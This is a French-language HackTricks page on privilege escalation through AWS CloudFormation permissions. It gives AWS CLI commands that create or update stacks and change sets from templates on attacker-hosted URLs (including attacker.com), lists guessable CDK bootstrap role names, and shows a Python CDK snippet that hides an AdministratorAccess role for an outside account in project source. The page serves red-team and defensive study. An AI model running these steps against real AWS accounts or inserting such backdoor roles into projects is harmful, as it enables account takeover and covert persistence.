AWS - Cloudformation Privesc

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

cloudformation

Pour plus d'informations sur cloudformation, consultez :

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un attaquant avec ces permissions peut escalader les privilèges en créant une pile CloudFormation avec un modèle personnalisé, hébergé sur son serveur, pour exécuter des actions sous les permissions d'un rôle spécifié :

bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Dans la page suivante, vous avez un exemple d'exploitation avec la permission supplémentaire cloudformation:DescribeStacks :

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impact potentiel : Privesc au rôle de service cloudformation spécifié.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Dans ce cas, vous pouvez abuser d'une stack cloudformation existante pour la mettre à jour et escalader les privilèges comme dans le scénario précédent :

bash
aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner la permission UpdateStack sur une pile et effectuer l'attaque.

Impact potentiel : Privesc au rôle de service cloudformation spécifié.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Si vous avez cette permission mais pas iam:PassRole, vous pouvez toujours mettre à jour les piles utilisées et abuser des rôles IAM déjà attachés. Consultez la section précédente pour un exemple d'exploitation (il suffit de ne pas indiquer de rôle dans la mise à jour).

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner la permission UpdateStack sur une pile et effectuer l'attaque.

Impact potentiel : Privesc au rôle de service cloudformation déjà attaché.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaquant ayant les permissions de passer un rôle et de créer & exécuter un ChangeSet peut créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation tout comme avec CreateStack ou UpdateStack.

L'exploitation suivante est une variation de CreateStack one utilisant les permissions ChangeSet pour créer une pile.

bash
aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

La permission cloudformation:SetStackPolicy peut être utilisée pour vous donner des permissions ChangeSet sur une pile et effectuer l'attaque.

Impact potentiel : Privesc vers les rôles de service cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

C'est comme la méthode précédente sans passer les rôles IAM, donc vous pouvez simplement abuser de ceux déjà attachés, il suffit de modifier le paramètre :

--change-set-type UPDATE

Impact potentiel : Privesc au rôle de service cloudformation déjà attaché.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaquant pourrait abuser de ces permissions pour créer/mette à jour des StackSets afin d'abuser des rôles cloudformation arbitraires.

Impact potentiel : Privesc aux rôles de service cloudformation.

cloudformation:UpdateStackSet

Un attaquant pourrait abuser de cette permission sans la permission passRole pour mettre à jour des StackSets afin d'abuser des rôles cloudformation attachés.

Impact potentiel : Privesc aux rôles cloudformation attachés.

AWS CDK

Le AWS cdk est un ensemble d'outils permettant aux utilisateurs de définir leur infrastructure en tant que code dans des langages qu'ils connaissent déjà, ainsi que de réutiliser facilement des sections. Le CDK convertit ensuite le code de haut niveau (c'est-à-dire python) en modèles Cloudformation (yaml ou json).

Pour utiliser le CDK, un utilisateur administratif doit d'abord initialiser le compte, ce qui crée plusieurs rôles IAM, y compris le rôle exec, qui a des permissions */*. Ces rôles suivent la structure de nommage cdk-<qualifier>-<name>-<account-id>-<region>. L'initialisation doit être effectuée une fois par région et par compte.

Par défaut, les utilisateurs du CDK n'ont pas accès à la liste des rôles nécessaires pour utiliser le CDK, ce qui signifie que vous devrez les déterminer manuellement. Si vous compromettez la machine d'un développeur ou un nœud CI/CD, ces rôles peuvent être assumés pour vous accorder la capacité de déployer des modèles CFN, en utilisant le rôle cfn-exec pour permettre à CFN de déployer n'importe quelles ressources, compromettant complètement le compte.

Détermination des noms de rôle

Si vous avez cloudformation:DescribeStacks, les rôles sont définis dans une pile appelée CDKToolkit, et vous pouvez en extraire les noms.

Si vous êtes sur une machine qui a été utilisée pour construire et déployer des projets CDK, vous pouvez les extraire de cdk.out/manafest.json dans le répertoire racine des projets.

Vous pouvez également faire une bonne supposition sur ce qu'ils sont. qualifier est une chaîne ajoutée aux rôles permettant de déployer plusieurs instances de l'initialisation CDK en même temps, cependant la valeur par défaut est codée en dur à hnb659fds.

# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>

Ajouter du code malveillant au code source du projet

Si vous pouvez écrire dans le code source du projet, mais que vous ne pouvez pas le déployer vous-même (par exemple, le développeur déploie le code via CI/CD, pas depuis la machine locale), vous pouvez toujours compromettre l'environnement en ajoutant des ressources malveillantes à la pile. Ce qui suit ajoute un rôle IAM qui peut être assumé par un compte attaquant à un projet python CDK.

python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)

# ----------
# Some existing code.....
# ----------

role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks